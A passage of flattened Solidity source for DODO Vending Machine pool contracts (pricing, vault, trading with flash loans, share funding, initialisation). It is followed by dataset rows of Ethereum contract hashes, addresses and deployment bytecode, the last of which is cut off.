uint256 denominator = DecimalMath.ONE.sub(k).mul(2); // 2(1-k)
uint256 numerator;
if (bSig) {
numerator = squareRoot.sub(bAbs);
} else {
numerator = bAbs.add(squareRoot);
}
uint256 V2 = DecimalMath.divCeil(numerator, denominator);
if (V2 > V1) {
return 0;
} else {
return V1 - V2;
}
}
}
// File: contracts/lib/PMMPricing.sol
/**
* @title Pricing
* @author DODO Breeder
*
* @notice DODO Pricing model
*/
library PMMPricing {
using SafeMath for uint256;
enum RState {ONE, ABOVE_ONE, BELOW_ONE}
struct PMMState {
uint256 i;
uint256 K;
uint256 B;
uint256 Q;
uint256 B0;
uint256 Q0;
RState R;
}
// ============ buy & sell ============
function sellBaseToken(PMMState memory state, uint256 payBaseAmount)
internal
pure
returns (uint256 receiveQuoteAmount, RState newR)
{
if (state.R == RState.ONE) {
// case 1: R=1
// R falls below one
receiveQuoteAmount = _ROneSellBaseToken(state, payBaseAmount);
newR = RState.BELOW_ONE;
} else if (state.R == RState.ABOVE_ONE) {
uint256 backToOnePayBase = state.B0.sub(state.B);
uint256 backToOneReceiveQuote = state.Q.sub(state.Q0);
// case 2: R>1
// complex case, R status depends on trading amount
if (payBaseAmount < backToOnePayBase) {
// case 2.1: R status do not change
receiveQuoteAmount = _RAboveSellBaseToken(state, payBaseAmount);
newR = RState.ABOVE_ONE;
if (receiveQuoteAmount > backToOneReceiveQuote) {
// [Important corner case!] may enter this branch when some precision problem happens. And consequently contribute to negative spare quote amount
// to make sure spare quote>=0, mannually set receiveQuote=backToOneReceiveQuote
receiveQuoteAmount = backToOneReceiveQuote;
}
} else if (payBaseAmount == backToOnePayBase) {
// case 2.2: R status changes to ONE
receiveQuoteAmount = backToOneReceiveQuote;
newR = RState.ONE;
} else {
// case 2.3: R status changes to BELOW_ONE
receiveQuoteAmount = backToOneReceiveQuote.add(
_ROneSellBaseToken(state, payBaseAmount.sub(backToOnePayBase))
);
newR = RState.BELOW_ONE;
}
} else {
// state.R == RState.BELOW_ONE
// case 3: R<1
receiveQuoteAmount = _RBelowSellBaseToken(state, payBaseAmount);
newR = RState.BELOW_ONE;
}
}
function sellQuoteToken(PMMState memory state, uint256 payQuoteAmount)
internal
pure
returns (uint256 receiveBaseAmount, RState newR)
{
if (state.R == RState.ONE) {
receiveBaseAmount = _ROneSellQuoteToken(state, payQuoteAmount);
newR = RState.ABOVE_ONE;
} else if (state.R == RState.ABOVE_ONE) {
receiveBaseAmount = _RAboveSellQuoteToken(state, payQuoteAmount);
newR = RState.ABOVE_ONE;
} else {
uint256 backToOnePayQuote = state.Q0.sub(state.Q);
uint256 backToOneReceiveBase = state.B.sub(state.B0);
if (payQuoteAmount < backToOnePayQuote) {
receiveBaseAmount = _RBelowSellQuoteToken(state, payQuoteAmount);
newR = RState.BELOW_ONE;
if (receiveBaseAmount > backToOneReceiveBase) {
receiveBaseAmount = backToOneReceiveBase;
}
} else if (payQuoteAmount == backToOnePayQuote) {
receiveBaseAmount = backToOneReceiveBase;
newR = RState.ONE;
} else {
receiveBaseAmount = backToOneReceiveBase.add(
_ROneSellQuoteToken(state, payQuoteAmount.sub(backToOnePayQuote))
);
newR = RState.ABOVE_ONE;
}
}
}
// ============ R = 1 cases ============
function _ROneSellBaseToken(PMMState memory state, uint256 payBaseAmount)
internal
pure
returns (
uint256 // receiveQuoteToken
)
{
// in theory Q2 <= targetQuoteTokenAmount
// however when amount is close to 0, precision problems may cause Q2 > targetQuoteTokenAmount
return
DODOMath._SolveQuadraticFunctionForTrade(
state.Q0,
state.Q0,
payBaseAmount,
state.i,
state.K
);
}
function _ROneSellQuoteToken(PMMState memory state, uint256 payQuoteAmount)
internal
pure
returns (
uint256 // receiveBaseToken
)
{
return
DODOMath._SolveQuadraticFunctionForTrade(
state.B0,
state.B0,
payQuoteAmount,
DecimalMath.reciprocalFloor(state.i),
state.K
);
}
// ============ R < 1 cases ============
function _RBelowSellQuoteToken(PMMState memory state, uint256 payQuoteAmount)
internal
pure
returns (
uint256 // receiveBaseToken
)
{
return
DODOMath._GeneralIntegrate(
state.Q0,
state.Q.add(payQuoteAmount),
state.Q,
DecimalMath.reciprocalFloor(state.i),
state.K
);
}
function _RBelowSellBaseToken(PMMState memory state, uint256 payBaseAmount)
internal
pure
returns (
uint256 // receiveQuoteToken
)
{
return
DODOMath._SolveQuadraticFunctionForTrade(
state.Q0,
state.Q,
payBaseAmount,
state.i,
state.K
);
}
// ============ R > 1 cases ============
function _RAboveSellBaseToken(PMMState memory state, uint256 payBaseAmount)
internal
pure
returns (
uint256 // receiveQuoteToken
)
{
return
DODOMath._GeneralIntegrate(
state.B0,
state.B.add(payBaseAmount),
state.B,
state.i,
state.K
);
}
function _RAboveSellQuoteToken(PMMState memory state, uint256 payQuoteAmount)
internal
pure
returns (
uint256 // receiveBaseToken
)
{
return
DODOMath._SolveQuadraticFunctionForTrade(
state.B0,
state.B,
payQuoteAmount,
DecimalMath.reciprocalFloor(state.i),
state.K
);
}
// ============ Helper functions ============
function adjustedTarget(PMMState memory state) internal pure {
if (state.R == RState.BELOW_ONE) {
state.Q0 = DODOMath._SolveQuadraticFunctionForTarget(
state.Q,
state.B.sub(state.B0),
state.i,
state.K
);
} else if (state.R == RState.ABOVE_ONE) {
state.B0 = DODOMath._SolveQuadraticFunctionForTarget(
state.B,
state.Q.sub(state.Q0),
DecimalMath.reciprocalFloor(state.i),
state.K
);
}
}
function getMidPrice(PMMState memory state) internal pure returns (uint256) {
if (state.R == RState.BELOW_ONE) {
uint256 R = DecimalMath.divFloor(state.Q0.mul(state.Q0).div(state.Q), state.Q);
R = DecimalMath.ONE.sub(state.K).add(DecimalMath.mulFloor(state.K, R));
return DecimalMath.divFloor(state.i, R);
} else {
uint256 R = DecimalMath.divFloor(state.B0.mul(state.B0).div(state.B), state.B);
R = DecimalMath.ONE.sub(state.K).add(DecimalMath.mulFloor(state.K, R));
return DecimalMath.mulFloor(state.i, R);
}
}
}
// File: contracts/DODOVendingMachine/impl/DVMStorage.sol
contract DVMStorage is ReentrancyGuard {
using SafeMath for uint256;
bool public _IS_OPEN_TWAP_ = false;
bool internal _DVM_INITIALIZED_;
// ============ Core Address ============
address public _MAINTAINER_;
IERC20 public _BASE_TOKEN_;
IERC20 public _QUOTE_TOKEN_;
uint112 public _BASE_RESERVE_;
uint112 public _QUOTE_RESERVE_;
uint32 public _BLOCK_TIMESTAMP_LAST_;
uint256 public _BASE_PRICE_CUMULATIVE_LAST_;
// ============ Shares (ERC20) ============
string public symbol;
uint8 public decimals;
string public name;
uint256 public totalSupply;
mapping(address => uint256) internal _SHARES_;
mapping(address => mapping(address => uint256)) internal _ALLOWED_;
// ================= Permit ======================
bytes32 public DOMAIN_SEPARATOR;
// keccak256("Permit(address owner,address spender,uint256 value,uint256 nonce,uint256 deadline)");
bytes32 public constant PERMIT_TYPEHASH = 0x6e71edae12b1b97f4d1f60370fef10105fa2faae0126114a169c64845d6126c9;
mapping(address => uint256) public nonces;
// ============ Variables for Pricing ============
uint256 public _LP_FEE_RATE_;
IFeeRateModel public _MT_FEE_RATE_MODEL_;
uint256 public _K_;
uint256 public _I_;
// ============ Helper Functions ============
function getPMMState() public view returns (PMMPricing.PMMState memory state) {
state.i = _I_;
state.K = _K_;
state.B = _BASE_RESERVE_;
state.Q = _QUOTE_RESERVE_;
state.B0 = 0; // will be calculated in adjustedTarget
state.Q0 = 0;
state.R = PMMPricing.RState.ABOVE_ONE;
PMMPricing.adjustedTarget(state);
}
function getPMMStateForCall()
external
view
returns (
uint256 i,
uint256 K,
uint256 B,
uint256 Q,
uint256 B0,
uint256 Q0,
uint256 R
)
{
PMMPricing.PMMState memory state = getPMMState();
i = state.i;
K = state.K;
B = state.B;
Q = state.Q;
B0 = state.B0;
Q0 = state.Q0;
R = uint256(state.R);
}
function getMidPrice() public view returns (uint256 midPrice) {
return PMMPricing.getMidPrice(getPMMState());
}
}
// File: contracts/DODOVendingMachine/impl/DVMVault.sol
contract DVMVault is DVMStorage {
using SafeMath for uint256;
using SafeERC20 for IERC20;
// ============ Events ============
event Transfer(address indexed from, address indexed to, uint256 amount);
event Approval(address indexed owner, address indexed spender, uint256 amount);
event Mint(address indexed user, uint256 value);
event Burn(address indexed user, uint256 value);
// ============ View Functions ============
function getVaultReserve() external view returns (uint256 baseReserve, uint256 quoteReserve) {
baseReserve = _BASE_RESERVE_;
quoteReserve = _QUOTE_RESERVE_;
}
function getUserFeeRate(address user) external view returns (uint256 lpFeeRate, uint256 mtFeeRate) {
lpFeeRate = _LP_FEE_RATE_;
mtFeeRate = _MT_FEE_RATE_MODEL_.getFeeRate(user);
}
// ============ Asset In ============
function getBaseInput() public view returns (uint256 input) {
return _BASE_TOKEN_.balanceOf(address(this)).sub(uint256(_BASE_RESERVE_));
}
function getQuoteInput() public view returns (uint256 input) {
return _QUOTE_TOKEN_.balanceOf(address(this)).sub(uint256(_QUOTE_RESERVE_));
}
// ============ TWAP UPDATE ===========
function _twapUpdate() internal {
uint32 blockTimestamp = uint32(block.timestamp % 2**32);
uint32 timeElapsed = blockTimestamp - _BLOCK_TIMESTAMP_LAST_;
if (timeElapsed > 0 && _BASE_RESERVE_ != 0 && _QUOTE_RESERVE_ != 0) {
_BASE_PRICE_CUMULATIVE_LAST_ += getMidPrice() * timeElapsed;
}
_BLOCK_TIMESTAMP_LAST_ = blockTimestamp;
}
// ============ Set States ============
function _setReserve(uint256 baseReserve, uint256 quoteReserve) internal {
require(baseReserve <= uint112(-1) && quoteReserve <= uint112(-1), "OVERFLOW");
_BASE_RESERVE_ = uint112(baseReserve);
_QUOTE_RESERVE_ = uint112(quoteReserve);
if(_IS_OPEN_TWAP_) _twapUpdate();
}
function _sync() internal {
uint256 baseBalance = _BASE_TOKEN_.balanceOf(address(this));
uint256 quoteBalance = _QUOTE_TOKEN_.balanceOf(address(this));
require(baseBalance <= uint112(-1) && quoteBalance <= uint112(-1), "OVERFLOW");
if (baseBalance != _BASE_RESERVE_) {
_BASE_RESERVE_ = uint112(baseBalance);
}
if (quoteBalance != _QUOTE_RESERVE_) {
_QUOTE_RESERVE_ = uint112(quoteBalance);
}
if(_IS_OPEN_TWAP_) _twapUpdate();
}
function sync() external preventReentrant {
_sync();
}
// ============ Asset Out ============
function _transferBaseOut(address to, uint256 amount) internal {
if (amount > 0) {
_BASE_TOKEN_.safeTransfer(to, amount);
}
}
function _transferQuoteOut(address to, uint256 amount) internal {
if (amount > 0) {
_QUOTE_TOKEN_.safeTransfer(to, amount);
}
}
// ============ Shares (ERC20) ============
/**
* @dev transfer token for a specified address
* @param to The address to transfer to.
* @param amount The amount to be transferred.
*/
function transfer(address to, uint256 amount) public returns (bool) {
require(amount <= _SHARES_[msg.sender], "BALANCE_NOT_ENOUGH");
_SHARES_[msg.sender] = _SHARES_[msg.sender].sub(amount);
_SHARES_[to] = _SHARES_[to].add(amount);
emit Transfer(msg.sender, to, amount);
return true;
}
/**
* @dev Gets the balance of the specified address.
* @param owner The address to query the the balance of.
* @return balance An uint256 representing the amount owned by the passed address.
*/
function balanceOf(address owner) external view returns (uint256 balance) {
return _SHARES_[owner];
}
/**
* @dev Transfer tokens from one address to another
* @param from address The address which you want to send tokens from
* @param to address The address which you want to transfer to
* @param amount uint256 the amount of tokens to be transferred
*/
function transferFrom(
address from,
address to,
uint256 amount
) public returns (bool) {
require(amount <= _SHARES_[from], "BALANCE_NOT_ENOUGH");
require(amount <= _ALLOWED_[from][msg.sender], "ALLOWANCE_NOT_ENOUGH");
_SHARES_[from] = _SHARES_[from].sub(amount);
_SHARES_[to] = _SHARES_[to].add(amount);
_ALLOWED_[from][msg.sender] = _ALLOWED_[from][msg.sender].sub(amount);
emit Transfer(from, to, amount);
return true;
}
/**
* @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender.
* @param spender The address which will spend the funds.
* @param amount The amount of tokens to be spent.
*/
function approve(address spender, uint256 amount) public returns (bool) {
_approve(msg.sender, spender, amount);
return true;
}
function _approve(
address owner,
address spender,
uint256 amount
) private {
_ALLOWED_[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
/**
* @dev Function to check the amount of tokens that an owner _ALLOWED_ to a spender.
* @param owner address The address which owns the funds.
* @param spender address The address which will spend the funds.
* @return A uint256 specifying the amount of tokens still available for the spender.
*/
function allowance(address owner, address spender) public view returns (uint256) {
return _ALLOWED_[owner][spender];
}
function _mint(address user, uint256 value) internal {
require(value > 1000, "MINT_INVALID");
_SHARES_[user] = _SHARES_[user].add(value);
totalSupply = totalSupply.add(value);
emit Mint(user, value);
emit Transfer(address(0), user, value);
}
function _burn(address user, uint256 value) internal {
_SHARES_[user] = _SHARES_[user].sub(value);
totalSupply = totalSupply.sub(value);
emit Burn(user, value);
emit Transfer(user, address(0), value);
}
// ============================ Permit ======================================
function permit(
address owner,
address spender,
uint256 value,
uint256 deadline,
uint8 v,
bytes32 r,
bytes32 s
) external {
require(deadline >= block.timestamp, "DODO_DVM_LP: EXPIRED");
bytes32 digest = keccak256(
abi.encodePacked(
"\x19\x01",
DOMAIN_SEPARATOR,
keccak256(
abi.encode(PERMIT_TYPEHASH, owner, spender, value, nonces[owner]++, deadline)
)
)
);
address recoveredAddress = ecrecover(digest, v, r, s);
require(
recoveredAddress != address(0) && recoveredAddress == owner,
"DODO_DVM_LP: INVALID_SIGNATURE"
);
_approve(owner, spender, value);
}
}
// File: contracts/intf/IDODOCallee.sol
interface IDODOCallee {
function DVMSellShareCall(
address sender,
uint256 burnShareAmount,
uint256 baseAmount,
uint256 quoteAmount,
bytes calldata data
) external;
function DVMFlashLoanCall(
address sender,
uint256 baseAmount,
uint256 quoteAmount,
bytes calldata data
) external;
function DPPFlashLoanCall(
address sender,
uint256 baseAmount,
uint256 quoteAmount,
bytes calldata data
) external;
function CPCancelCall(
address sender,
uint256 amount,
bytes calldata data
) external;
function CPClaimBidCall(
address sender,
uint256 baseAmount,
uint256 quoteAmount,
bytes calldata data
) external;
}
// File: contracts/DODOVendingMachine/impl/DVMTrader.sol
contract DVMTrader is DVMVault {
using SafeMath for uint256;
// ============ Events ============
event DODOSwap(
address fromToken,
address toToken,
uint256 fromAmount,
uint256 toAmount,
address trader,
address receiver
);
event DODOFlashLoan(
address borrower,
address assetTo,
uint256 baseAmount,
uint256 quoteAmount
);
// ============ Trade Functions ============
function sellBase(address to)
external
preventReentrant
returns (uint256 receiveQuoteAmount)
{
uint256 baseBalance = _BASE_TOKEN_.balanceOf(address(this));
uint256 baseInput = baseBalance.sub(uint256(_BASE_RESERVE_));
uint256 mtFee;
(receiveQuoteAmount, mtFee) = querySellBase(tx.origin, baseInput);
_transferQuoteOut(to, receiveQuoteAmount);
_transferQuoteOut(_MAINTAINER_, mtFee);
_setReserve(baseBalance, _QUOTE_TOKEN_.balanceOf(address(this)));
emit DODOSwap(
address(_BASE_TOKEN_),
address(_QUOTE_TOKEN_),
baseInput,
receiveQuoteAmount,
msg.sender,
to
);
}
function sellQuote(address to)
external
preventReentrant
returns (uint256 receiveBaseAmount)
{
uint256 quoteBalance = _QUOTE_TOKEN_.balanceOf(address(this));
uint256 quoteInput = quoteBalance.sub(uint256(_QUOTE_RESERVE_));
uint256 mtFee;
(receiveBaseAmount, mtFee) = querySellQuote(tx.origin, quoteInput);
_transferBaseOut(to, receiveBaseAmount);
_transferBaseOut(_MAINTAINER_, mtFee);
_setReserve(_BASE_TOKEN_.balanceOf(address(this)), quoteBalance);
emit DODOSwap(
address(_QUOTE_TOKEN_),
address(_BASE_TOKEN_),
quoteInput,
receiveBaseAmount,
msg.sender,
to
);
}
function flashLoan(
uint256 baseAmount,
uint256 quoteAmount,
address assetTo,
bytes calldata data
) external preventReentrant {
_transferBaseOut(assetTo, baseAmount);
_transferQuoteOut(assetTo, quoteAmount);
if (data.length > 0)
IDODOCallee(assetTo).DVMFlashLoanCall(msg.sender, baseAmount, quoteAmount, data);
uint256 baseBalance = _BASE_TOKEN_.balanceOf(address(this));
uint256 quoteBalance = _QUOTE_TOKEN_.balanceOf(address(this));
// no input -> pure loss
require(
baseBalance >= _BASE_RESERVE_ || quoteBalance >= _QUOTE_RESERVE_,
"FLASH_LOAN_FAILED"
);
// sell quote
if (baseBalance < _BASE_RESERVE_) {
uint256 quoteInput = quoteBalance.sub(uint256(_QUOTE_RESERVE_));
(uint256 receiveBaseAmount, uint256 mtFee) = querySellQuote(tx.origin, quoteInput);
require(uint256(_BASE_RESERVE_).sub(baseBalance) <= receiveBaseAmount, "FLASH_LOAN_FAILED");
_transferBaseOut(_MAINTAINER_, mtFee);
emit DODOSwap(
address(_QUOTE_TOKEN_),
address(_BASE_TOKEN_),
quoteInput,
receiveBaseAmount,
msg.sender,
assetTo
);
}
// sell base
if (quoteBalance < _QUOTE_RESERVE_) {
uint256 baseInput = baseBalance.sub(uint256(_BASE_RESERVE_));
(uint256 receiveQuoteAmount, uint256 mtFee) = querySellBase(tx.origin, baseInput);
require(uint256(_QUOTE_RESERVE_).sub(quoteBalance) <= receiveQuoteAmount, "FLASH_LOAN_FAILED");
_transferQuoteOut(_MAINTAINER_, mtFee);
emit DODOSwap(
address(_BASE_TOKEN_),
address(_QUOTE_TOKEN_),
baseInput,
receiveQuoteAmount,
msg.sender,
assetTo
);
}
_sync();
emit DODOFlashLoan(msg.sender, assetTo, baseAmount, quoteAmount);
}
// ============ Query Functions ============
function querySellBase(address trader, uint256 payBaseAmount)
public
view
returns (uint256 receiveQuoteAmount, uint256 mtFee)
{
(receiveQuoteAmount, ) = PMMPricing.sellBaseToken(getPMMState(), payBaseAmount);
uint256 lpFeeRate = _LP_FEE_RATE_;
uint256 mtFeeRate = _MT_FEE_RATE_MODEL_.getFeeRate(trader);
mtFee = DecimalMath.mulFloor(receiveQuoteAmount, mtFeeRate);
receiveQuoteAmount = receiveQuoteAmount
.sub(DecimalMath.mulFloor(receiveQuoteAmount, lpFeeRate))
.sub(mtFee);
}
function querySellQuote(address trader, uint256 payQuoteAmount)
public
view
returns (uint256 receiveBaseAmount, uint256 mtFee)
{
(receiveBaseAmount, ) = PMMPricing.sellQuoteToken(getPMMState(), payQuoteAmount);
uint256 lpFeeRate = _LP_FEE_RATE_;
uint256 mtFeeRate = _MT_FEE_RATE_MODEL_.getFeeRate(trader);
mtFee = DecimalMath.mulFloor(receiveBaseAmount, mtFeeRate);
receiveBaseAmount = receiveBaseAmount
.sub(DecimalMath.mulFloor(receiveBaseAmount, lpFeeRate))
.sub(mtFee);
}
}
// File: contracts/DODOVendingMachine/impl/DVMFunding.sol
contract DVMFunding is DVMVault {
// ============ Events ============
event BuyShares(address to, uint256 increaseShares, uint256 totalShares);
event SellShares(address payer, address to, uint256 decreaseShares, uint256 totalShares);
// ============ Buy & Sell Shares ============
// buy shares [round down]
function buyShares(address to)
external
preventReentrant
returns (
uint256 shares,
uint256 baseInput,
uint256 quoteInput
)
{
uint256 baseBalance = _BASE_TOKEN_.balanceOf(address(this));
uint256 quoteBalance = _QUOTE_TOKEN_.balanceOf(address(this));
uint256 baseReserve = _BASE_RESERVE_;
uint256 quoteReserve = _QUOTE_RESERVE_;
baseInput = baseBalance.sub(baseReserve);
quoteInput = quoteBalance.sub(quoteReserve);
require(baseInput > 0, "NO_BASE_INPUT");
// Round down when withdrawing. Therefore, never be a situation occuring balance is 0 but totalsupply is not 0
// But May Happen,reserve >0 But totalSupply = 0
if (totalSupply == 0) {
// case 1. initial supply
require(baseBalance >= 10**3, "INSUFFICIENT_LIQUIDITY_MINED");
shares = baseBalance; // 以免出现balance很大但shares很小的情况
} else if (baseReserve > 0 && quoteReserve == 0) {
// case 2. supply when quote reserve is 0
shares = baseInput.mul(totalSupply).div(baseReserve);
} else if (baseReserve > 0 && quoteReserve > 0) {
// case 3. normal case
uint256 baseInputRatio = DecimalMath.divFloor(baseInput, baseReserve);
uint256 quoteInputRatio = DecimalMath.divFloor(quoteInput, quoteReserve);
uint256 mintRatio = quoteInputRatio < baseInputRatio ? quoteInputRatio : baseInputRatio;
shares = DecimalMath.mulFloor(totalSupply, mintRatio);
}
_mint(to, shares);
_setReserve(baseBalance, quoteBalance);
emit BuyShares(to, shares, _SHARES_[to]);
}
// sell shares [round down]
function sellShares(
uint256 shareAmount,
address to,
uint256 baseMinAmount,
uint256 quoteMinAmount,
bytes calldata data,
uint256 deadline
) external preventReentrant returns (uint256 baseAmount, uint256 quoteAmount) {
require(deadline >= block.timestamp, "TIME_EXPIRED");
require(shareAmount <= _SHARES_[msg.sender], "DLP_NOT_ENOUGH");
uint256 baseBalance = _BASE_TOKEN_.balanceOf(address(this));
uint256 quoteBalance = _QUOTE_TOKEN_.balanceOf(address(this));
uint256 totalShares = totalSupply;
baseAmount = baseBalance.mul(shareAmount).div(totalShares);
quoteAmount = quoteBalance.mul(shareAmount).div(totalShares);
require(
baseAmount >= baseMinAmount && quoteAmount >= quoteMinAmount,
"WITHDRAW_NOT_ENOUGH"
);
_burn(msg.sender, shareAmount);
_transferBaseOut(to, baseAmount);
_transferQuoteOut(to, quoteAmount);
_sync();
if (data.length > 0) {
IDODOCallee(to).DVMSellShareCall(
msg.sender,
shareAmount,
baseAmount,
quoteAmount,
data
);
}
emit SellShares(msg.sender, to, shareAmount, _SHARES_[msg.sender]);
}
}
// File: contracts/DODOVendingMachine/impl/DVM.sol
/**
* @title DODO VendingMachine
* @author DODO Breeder
*
* @notice DODOVendingMachine initialization
*/
contract DVM is DVMTrader, DVMFunding {
function init(
address maintainer,
address baseTokenAddress,
address quoteTokenAddress,
uint256 lpFeeRate,
address mtFeeRateModel,
uint256 i,
uint256 k,
bool isOpenTWAP
) external {
require(!_DVM_INITIALIZED_, "DVM_INITIALIZED");
_DVM_INITIALIZED_ = true;
require(baseTokenAddress != quoteTokenAddress, "BASE_QUOTE_CAN_NOT_BE_SAME");
_BASE_TOKEN_ = IERC20(baseTokenAddress);
_QUOTE_TOKEN_ = IERC20(quoteTokenAddress);
require(i > 0 && i <= 10**36);
_I_ = i;
require(k <= 10**18);
_K_ = k;
_LP_FEE_RATE_ = lpFeeRate;
_MT_FEE_RATE_MODEL_ = IFeeRateModel(mtFeeRateModel);
_MAINTAINER_ = maintainer;
_IS_OPEN_TWAP_ = isOpenTWAP;
if(isOpenTWAP) _BLOCK_TIMESTAMP_LAST_ = uint32(block.timestamp % 2**32);
string memory connect = "_";
string memory suffix = "DLP";
name = string(abi.encodePacked(suffix, connect, addressToShortString(address(this))));
symbol = "DLP";
decimals = _BASE_TOKEN_.decimals();
// ============================== Permit ====================================
uint256 chainId;
assembly {
chainId := chainid()
}
DOMAIN_SEPARATOR = keccak256(
abi.encode(
// keccak256('EIP712Domain(string name,string version,uint256 chainId,address verifyingContract)'),
0x8b73c3c69bb8fe3d512ecc4cf759cc79239f7b179b0ffacaa9a75d522b39400f,
keccak256(bytes(name)),
keccak256(bytes("1")),
chainId,
address(this)
)
);
// ==========================================================================
}
function addressToShortString(address _addr) public pure returns (string memory) {
bytes32 value = bytes32(uint256(_addr));
bytes memory alphabet = "0123456789abcdef";
bytes memory str = new bytes(8);
for (uint256 i = 0; i < 4; i++) {
str[i * 2] = alphabet[uint8(value[i + 12] >> 4)];
str[1 + i * 2] = alphabet[uint8(value[i + 12] & 0x0f)];
}
return string(str);
}
// ============ Version Control ============
function version() external pure returns (string memory) {
return "DVM 1.0.2";
}
} |
1 | 19,493,906 | d8c938bf656fa8600cf4adddadfd2f780a8fbd8f5a66c94e9901bd82417e0aeb | 8ba0c19012b7083a43413946be272752aae5bd83c15177fab2ef285026876152 | d2ffa17cca4b5b162ef61e818cd0b7d28f051463 | 172799fca760b87321ac77c5f4abc49021c486f6 | 8396b6146a0d2930c633090db635fc806dea1e9f | 608060405234801561001057600080fd5b50610362806100206000396000f3fe608060405234801561001057600080fd5b506004361061002b5760003560e01c8063d20c88bd14610030575b600080fd5b6100de6004803603604081101561004657600080fd5b81019060208101813564010000000081111561006157600080fd5b82018360208201111561007357600080fd5b8035906020019184602083028401116401000000008311171561009557600080fd5b919080806020026020016040519081016040528093929190818152602001838360200280828437600092019190915250929550505090356001600160a01b031691506100e09050565b005b60005b82518110156101b65760008382815181106100fa57fe5b602002602001015190506000816001600160a01b03166370a08231306040518263ffffffff1660e01b815260040180826001600160a01b03166001600160a01b0316815260200191505060206040518083038186803b15801561015c57600080fd5b505afa158015610170573d6000803e3d6000fd5b505050506040513d602081101561018657600080fd5b505185519091506101ac9086908590811061019d57fe5b602002602001015185836101c3565b50506001016100e3565b50806001600160a01b0316ff5b604080516001600160a01b038481166024830152604480830185905283518084039091018152606490920183526020820180516001600160e01b031663a9059cbb60e01b178152925182516000946060949389169392918291908083835b602083106102405780518252601f199092019160209182019101610221565b6001836020036101000a0380198251168184511680821785525050505050509050019150506000604051808303816000865af19150503d80600081146102a2576040519150601f19603f3d011682016040523d82523d6000602084013e6102a7565b606091505b50915091508180156102d55750805115806102d557508080602001905160208110156102d257600080fd5b50515b610326576040805162461bcd60e51b815260206004820152601f60248201527f5472616e7366657248656c7065723a205452414e534645525f4641494c454400604482015290519081900360640190fd5b505050505056fea265627a7a72315820c5382d28aec3b7dc3042f7f7abc7ae73fce057fac9962113624c64fc3b4e433364736f6c63430005100032 | 608060405234801561001057600080fd5b506004361061002b5760003560e01c8063d20c88bd14610030575b600080fd5b6100de6004803603604081101561004657600080fd5b81019060208101813564010000000081111561006157600080fd5b82018360208201111561007357600080fd5b8035906020019184602083028401116401000000008311171561009557600080fd5b919080806020026020016040519081016040528093929190818152602001838360200280828437600092019190915250929550505090356001600160a01b031691506100e09050565b005b60005b82518110156101b65760008382815181106100fa57fe5b602002602001015190506000816001600160a01b03166370a08231306040518263ffffffff1660e01b815260040180826001600160a01b03166001600160a01b0316815260200191505060206040518083038186803b15801561015c57600080fd5b505afa158015610170573d6000803e3d6000fd5b505050506040513d602081101561018657600080fd5b505185519091506101ac9086908590811061019d57fe5b602002602001015185836101c3565b50506001016100e3565b50806001600160a01b0316ff5b604080516001600160a01b038481166024830152604480830185905283518084039091018152606490920183526020820180516001600160e01b031663a9059cbb60e01b178152925182516000946060949389169392918291908083835b602083106102405780518252601f199092019160209182019101610221565b6001836020036101000a0380198251168184511680821785525050505050509050019150506000604051808303816000865af19150503d80600081146102a2576040519150601f19603f3d011682016040523d82523d6000602084013e6102a7565b606091505b50915091508180156102d55750805115806102d557508080602001905160208110156102d257600080fd5b50515b610326576040805162461bcd60e51b815260206004820152601f60248201527f5472616e7366657248656c7065723a205452414e534645525f4641494c454400604482015290519081900360640190fd5b505050505056fea265627a7a72315820c5382d28aec3b7dc3042f7f7abc7ae73fce057fac9962113624c64fc3b4e433364736f6c63430005100032 | |
1 | 19,493,909 | 0486fef56d1250d3ca0de2dddf01149a71c77b480bbec982107448e5ad82286f | 9ee4d710ce3b90f87deab9498e7d301b1a13e08cf6509cefbaa8123d50be2143 | 4b9ccdb42ef39160374ec69671026becb81e7055 | 4b9ccdb42ef39160374ec69671026becb81e7055 | a2af64062a2542395ada9206a0297ae22bd27049 | 60806040525f600255737659ce147d0e714454073a5dd7003544234b6aa060035f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055505f60055f6101000a81548160ff02191690831515021790555034801562000081575f80fd5b5060405162000fc838038062000fc88339818101604052810190620000a7919062000264565b815f9081620000b791906200051e565b508060019081620000c991906200051e565b506509184e72a000600481905550505062000602565b5f604051905090565b5f80fd5b5f80fd5b5f80fd5b5f80fd5b5f601f19601f8301169050919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52604160045260245ffd5b6200014082620000f8565b810181811067ffffffffffffffff8211171562000162576200016162000108565b5b80604052505050565b5f62000176620000df565b905062000184828262000135565b919050565b5f67ffffffffffffffff821115620001a657620001a562000108565b5b620001b182620000f8565b9050602081019050919050565b5f5b83811015620001dd578082015181840152602081019050620001c0565b5f8484015250505050565b5f620001fe620001f88462000189565b6200016b565b9050828152602081018484840111156200021d576200021c620000f4565b5b6200022a848285620001be565b509392505050565b5f82601f830112620002495762000248620000f0565b5b81516200025b848260208601620001e8565b91505092915050565b5f80604083850312156200027d576200027c620000e8565b5b5f83015167ffffffffffffffff8111156200029d576200029c620000ec565b5b620002ab8582860162000232565b925050602083015167ffffffffffffffff811115620002cf57620002ce620000ec565b5b620002dd8582860162000232565b9150509250929050565b5f81519050919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52602260045260245ffd5b5f60028204905060018216806200033657607f821691505b6020821081036200034c576200034b620002f1565b5b50919050565b5f819050815f5260205f209050919050565b5f6020601f8301049050919050565b5f82821b905092915050565b5f60088302620003b07fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8262000373565b620003bc868362000373565b95508019841693508086168417925050509392505050565b5f819050919050565b5f819050919050565b5f6200040662000400620003fa84620003d4565b620003dd565b620003d4565b9050919050565b5f819050919050565b6200042183620003e6565b6200043962000430826200040d565b8484546200037f565b825550505050565b5f90565b6200044f62000441565b6200045c81848462000416565b505050565b5b818110156200048357620004775f8262000445565b60018101905062000462565b5050565b601f821115620004d2576200049c8162000352565b620004a78462000364565b81016020851015620004b7578190505b620004cf620004c68562000364565b83018262000461565b50505b505050565b5f82821c905092915050565b5f620004f45f1984600802620004d7565b1980831691505092915050565b5f6200050e8383620004e3565b9150826002028217905092915050565b6200052982620002e7565b67ffffffffffffffff81111562000545576200054462000108565b5b6200055182546200031e565b6200055e82828562000487565b5f60209050601f83116001811462000594575f84156200057f578287015190505b6200058b858262000501565b865550620005fa565b601f198416620005a48662000352565b5f5b82811015620005cd57848901518255600182019150602085019450602081019050620005a6565b86831015620005ed5784890151620005e9601f891682620004e3565b8355505b6001600288020188555050505b505050505050565b6109b88062